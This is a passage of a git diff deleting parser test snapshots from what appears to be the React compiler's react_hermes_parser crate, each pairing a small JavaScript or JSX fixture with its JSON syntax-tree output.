-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/array-property-call.js
----
-Input:
-function Component(props) {
-  const a = [props.a, props.b, "hello"];
-  const x = a.push(42);
-  const y = a.at(props.c);
-
-  return { a, x, y };
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          41,
-                          46
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          47,
-                          48
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        41,
-                        48
-                      ]
-                    },
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          50,
-                          55
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          56,
-                          57
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        50,
-                        57
-                      ]
-                    },
-                    {
-                      "type": "StringLiteral",
-                      "value": "hello",
-                      "loc": null,
-                      "range": [
-                        59,
-                        66
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    67
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  67
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              68
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    78
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        81,
-                        82
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "push",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        83,
-                        87
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      81,
-                      87
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 42.0,
-                      "loc": null,
-                      "range": [
-                        88,
-                        90
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    81,
-                    91
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  77,
-                  91
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              71,
-              92
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    101,
-                    102
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        105,
-                        106
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "at",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        107,
-                        109
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      105,
-                      109
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          110,
-                          115
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          116,
-                          117
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        110,
-                        117
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    105,
-                    118
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  101,
-                  118
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              95,
-              119
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ObjectExpression",
-              "properties": [
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      132,
-                      133
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      132,
-                      133
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    132,
-                    133
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      135,
-                      136
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      135,
-                      136
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    135,
-                    136
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      138,
-                      139
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      138,
-                      139
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    138,
-                    139
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                130,
-                141
-              ]
-            },
-            "loc": null,
-            "range": [
-              123,
-              142
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          144
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        144
-      ],
-      "loc": null,
-      "range": [
-        0,
-        144
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    144
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-push-effect.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-push-effect.js.snap
deleted file mode 100644
index 49c880ba37b2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-push-effect.js.snap
+++ /dev/null
@@ -1,427 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/array-push-effect.js
----
-Input:
-// arrayInstance.push should have the following effects:
-//  - read on all args (rest parameter)
-//  - mutate on receiver
-function Component(props) {
-  const x = foo(props.x);
-  const y = { y: props.y };
-  const arr = [];
-  arr.push({});
-  arr.push(x, y);
-  return arr;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          131,
-          140
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            141,
-            146
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    158,
-                    159
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      162,
-                      165
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          166,
-                          171
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          172,
-                          173
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        166,
-                        173
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    162,
-                    174
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  158,
-                  174
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              152,
-              175
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    184,
-                    185
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          190,
-                          191
-                        ]
-                      },
-                      "value": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            193,
-                            198
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "y",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            199,
-                            200
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          193,
-                          200
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        190,
-                        200
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    188,
-                    202
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  184,
-                  202
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              178,
-              203
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "arr",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    212,
-                    215
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    218,
-                    220
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  212,
-                  220
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              206,
-              221
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "arr",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    224,
-                    227
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    228,
-                    232
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  224,
-                  232
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    233,
-                    235
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                224,
-                236
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              224,
-              237
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "arr",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    240,
-                    243
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    244,
-                    248
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  240,
-                  248
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    249,
-                    250
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    252,
-                    253
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                240,
-                254
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              240,
-              255
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "arr",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                265,
-                268
-              ]
-            },
-            "loc": null,
-            "range": [
-              258,
-              269
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          148,
-          271
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        122,
-        271
-      ],
-      "loc": null,
-      "range": [
-        122,
-        271
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    122,
-    271
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@arrow-function-expr-gating-test.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@arrow-function-expr-gating-test.js.snap
deleted file mode 100644
index 5f5049a32233..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@arrow-function-expr-gating-test.js.snap
+++ /dev/null
@@ -1,191 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/arrow-function-expr-gating-test.js
----
-Input:
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-export default ErrorView;
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "VariableDeclaration",
-      "kind": "const",
-      "declarations": [
-        {
-          "type": "VariableDeclarator",
-          "id": {
-            "type": "Identifier",
-            "name": "ErrorView",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              17,
-              26
-            ]
-          },
-          "init": {
-            "type": "ArrowFunctionExpression",
-            "id": null,
-            "params": [
-              {
-                "type": "Identifier",
-                "name": "error",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  30,
-                  35
-                ]
-              },
-              {
-                "type": "Identifier",
-                "name": "_retry",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  37,
-                  43
-                ]
-              }
-            ],
-            "body": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "MessageBox",
-                  "loc": null,
-                  "range": [
-                    49,
-                    59
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "error",
-                      "loc": null,
-                      "range": [
-                        60,
-                        65
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "error",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          67,
-                          72
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        66,
-                        73
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      60,
-                      73
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  48,
-                  74
-                ]
-              },
-              "children": [],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "MessageBox",
-                  "loc": null,
-                  "range": [
-                    76,
-                    86
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  74,
-                  87
-                ]
-              },
-              "loc": null,
-              "range": [
-                48,
-                87
-              ]
-            },
-            "generator": true,
-            "async": false,
-            "loc": null,
-            "range": [
-              29,
-              87
-            ],
-            "expression": true,
-            "loc": null,
-            "range": [
-              29,
-              87
-            ]
-          },
-          "loc": null,
-          "range": [
-            17,
-            87
-          ]
-        }
-      ],
-      "loc": null,
-      "range": [
-        11,
-        88
-      ]
-    },
-    {
-      "type": "ExportDefaultDeclaration",
-      "declaration": {
-        "type": "Identifier",
-        "name": "ErrorView",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          105,
-          114
-        ]
-      },
-      "loc": null,
-      "range": [
-        90,
-        115
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    11,
-    115
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-expression-computed.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-expression-computed.js.snap
deleted file mode 100644
index a71399f1d910..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-expression-computed.js.snap
+++ /dev/null
@@ -1,309 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/assignment-expression-computed.js
----
-Input:
-function Component(props) {
-  const x = [props.x];
-  const index = 0;
-  x[index] *= 2;
-  x["0"] += 3;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          41,
-                          46
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          47,
-                          48
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        41,
-                        48
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    49
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              50
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "index",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    64
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    67,
-                    68
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  59,
-                  68
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              53,
-              69
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "*=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    72,
-                    73
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "index",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    74,
-                    79
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  72,
-                  80
-                ]
-              },
-              "right": {
-                "type": "NumericLiteral",
-                "value": 2.0,
-                "loc": null,
-                "range": [
-                  84,
-                  85
-                ]
-              },
-              "loc": null,
-              "range": [
-                72,
-                85
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              72,
-              86
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "+=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    89,
-                    90
-                  ]
-                },
-                "property": {
-                  "type": "StringLiteral",
-                  "value": "0",
-                  "loc": null,
-                  "range": [
-                    91,
-                    94
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  89,
-                  95
-                ]
-              },
-              "right": {
-                "type": "NumericLiteral",
-                "value": 3.0,
-                "loc": null,
-                "range": [
-                  99,
-                  100
-                ]
-              },
-              "loc": null,
-              "range": [
-                89,
-                100
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              89,
-              101
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                111,
-                112
-              ]
-            },
-            "loc": null,
-            "range": [
-              104,
-              113
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          115
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        115
-      ],
-      "loc": null,
-      "range": [
-        0,
-        115
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    115
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-expression-nested-path.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-expression-nested-path.js.snap
deleted file mode 100644
index 3b11460105e1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-expression-nested-path.js.snap
+++ /dev/null
@@ -1,420 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/assignment-expression-nested-path.js
----
-Input:
-function g(props) {
-  const a = { b: { c: props.c } };
-  a.b.c = a.b.c + 1;
-  a.b.c *= 2;
-  return a;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "g",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          10
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            11,
-            16
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          34,
-                          35
-                        ]
-                      },
-                      "value": {
-                        "type": "ObjectExpression",
-                        "properties": [
-                          {
-                            "type": "Property",
-                            "key": {
-                              "type": "Identifier",
-                              "name": "c",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                39,
-                                40
-                              ]
-                            },
-                            "value": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  42,
-                                  47
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "c",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  48,
-                                  49
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                42,
-                                49
-                              ]
-                            },
-                            "kind": "init",
-                            "method": false,
-                            "shorthand": false,
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              39,
-                              49
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          37,
-                          51
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        34,
-                        51
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    32,
-                    53
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  53
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              22,
-              54
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      57,
-                      58
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      59,
-                      60
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    57,
-                    60
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    61,
-                    62
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  57,
-                  62
-                ]
-              },
-              "right": {
-                "type": "BinaryExpression",
-                "left": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        65,
-                        66
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        67,
-                        68
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      65,
-                      68
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      69,
-                      70
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    65,
-                    70
-                  ]
-                },
-                "operator": "+",
-                "right": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    73,
-                    74
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  65,
-                  74
-                ]
-              },
-              "loc": null,
-              "range": [
-                57,
-                74
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              57,
-              75
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "*=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      78,
-                      79
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      80,
-                      81
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    78,
-                    81
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    82,
-                    83
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  78,
-                  83
-                ]
-              },
-              "right": {
-                "type": "NumericLiteral",
-                "value": 2.0,
-                "loc": null,
-                "range": [
-                  87,
-                  88
-                ]
-              },
-              "loc": null,
-              "range": [
-                78,
-                88
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              78,
-              89
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
